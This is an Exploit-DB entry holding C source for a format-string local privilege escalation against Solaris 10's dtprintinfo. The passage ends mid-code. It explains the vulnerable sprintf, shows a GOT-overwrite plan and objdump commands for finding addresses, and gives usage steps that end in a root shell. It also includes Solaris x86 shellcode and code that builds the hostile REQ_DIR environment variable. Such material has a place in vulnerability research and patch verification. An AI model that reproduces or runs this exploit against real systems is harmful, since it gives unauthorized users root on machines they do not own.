Exploit-DB #49515
Description: Solaris 10 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)
Type: local
Platform: solaris
Date: 2021-02-02
Author: Marco Ivaldi

Exploit:
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3)
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 Intel

/*
 * raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE
 * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * "I'm gonna have to go into hardcore hacking mode!" -- Hackerman
 * https://youtu.be/KEkrWRHCDQU
 *
 * Same code snippet, different vulnerability. 20 years later, format string
 * bugs are not extinct after all! The vulnerable function looks like this:
 *
 * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...)
 * {
 * ...
 * 	char local_724 [300];
 * ...
 * 	else {
 * 		__format = getenv("REQ_DIR");
 * 		sprintf(local_724,__format,param_2); // [1]
 * 	}
 * ...
 * 	local_c = strlen(local_724); // [2]
 * 	sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3]
 * ...
 * }
 *
 * The plan (inspired by an old technique devised by gera) is to exploit the 
 * sprintf at [1], where we control the format string, to replace the strlen 
 * at [2] with a strdup and the sprintf at [3] with a call to the shellcode
 * dynamically allocated in the heap by strdup and pointed to by the local_c 
 * variable at [2]. In practice, to pull this off the structure of the evil 
 * environment variable REQ_DIR must be:
 * [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)]
 *
 * To collect the needed addresses for your system, use:
 * $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got
 * 080994cc R_386_JUMP_SLOT   strlen
 * $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got
 * 080994e4 R_386_JUMP_SLOT   sprintf
 * $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt
 * 0805df20       F *UND*  00000000 strdup
 * $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text
 * 08067f52:       ff 55 f8                call   *-0x8(%ebp)
 *
 * This bug was likely fixed during the general cleanup of CDE code done by
 * Oracle in response to my recently reported vulnerabilities. However, I can't
 * confirm this because I have no access to their patches:/
 *
 * See also:
 * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
 * raptor_dtprintcheckdir_sparc.c (just a proof of concept)
 * raptor_dtprintcheckdir_sparc2.c (the real deal)
 *
 * Usage:
 * $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0
 * [on your xserver: double click on the fake "fnord" printer]
 * [...]
 * # id
 * uid=0(root) gid=1(other)
 * #
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>

#define INFO1	"raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE"
#define INFO2	"Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN		"/usr/dt/bin/dtprintinfo"	// vulnerable program
#define	BUFSIZE		300				// size of evil env var
#define	STACKPOPSEQ	"%.8x"				// stackpop sequence
#define	STACKPOPS	14				// number of stackpops

/* replace with valid addresses for your system */
#define STRLEN		0x080994cc			// .got strlen address
#define	SPRINTF		0x080994e4			// .got sprintf address
#define STRDUP		0x0805df20			// .plt strdup address
#define	RET		0x08067f52			// call *-0x8(%ebp) address

/* split an address in 4 bytes */
#define SPLITB(b1, b2, b3, b4, addr) {	\
	b1 = (addr & 0x000000ff);	\
	b2 = (addr & 0x0000ff00) >> 8;	\
	b3 = (addr & 0x00ff0000) >> 16;	\
	b4 = (addr & 0xff000000) >> 24;	\
}

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char	*arg[2] = {"foo", NULL};
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int	add_env(char *string);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char		buf[BUFSIZE], *p = buf;
	char		platform[256], release[256], display[256];

	int		i, stackpops = STACKPOPS;
	unsigned	base, n1, n2, n3, n4, n5, n6, n7, n8;
	unsigned char	strdup1, strdup2, strdup3, strdup4;
	unsigned char	ret1, ret2, ret3, ret4;

	int		strlen_got = STRLEN;
	int		sprintf_got = SPRINTF;
	int		strdup_plt = STRDUP;
	int		ret = RET;

	/* lpstat code to add a fake printer */
	if (!strcmp(argv[0], "lpstat")) {

		/* check command line */
		if (argc != 2)
			exit(1);

		/* print the expected output and exit */
		if(!strcmp(argv[1], "-v")) {
			fprintf(stderr, "lpstat called with -v\n");
			printf("device for fnord: /dev/null\n");
		} else {
			fprintf(stderr, "lpstat called with -d\n");
			printf("system default destination: fnord\n");
		}
		exit(0);
	}

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* process command line */
	if (argc != 2) {
		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
		exit(1);
	}
	sprintf(display, "DISPLAY=%s", argv[1]);

	/* evil env var: name + shellcode + padding */
	bzero(buf, BUFSIZE);
	sprintf(buf, "REQ_DIR=%s#", sc);
	p += strlen(buf);

	/* format string: .got strlen address */
	*((void **)p) = (void *)(strlen_got); p += 4;
	memset(p, 'A', 4); p += 4; /* dummy */
	*((void **)p) = (void *)(strlen_got + 1); p += 4;
	memset(p, 'A', 4); p += 4; /* dummy */
	*((void **)p) = (void *)(strlen_got + 2); p += 4;
	memset(p, 'A', 4); p += 4; /* dummy */
	*((void **)p) = (void *)(strlen_got + 3); p += 4;
	memset(p, 'A', 4); p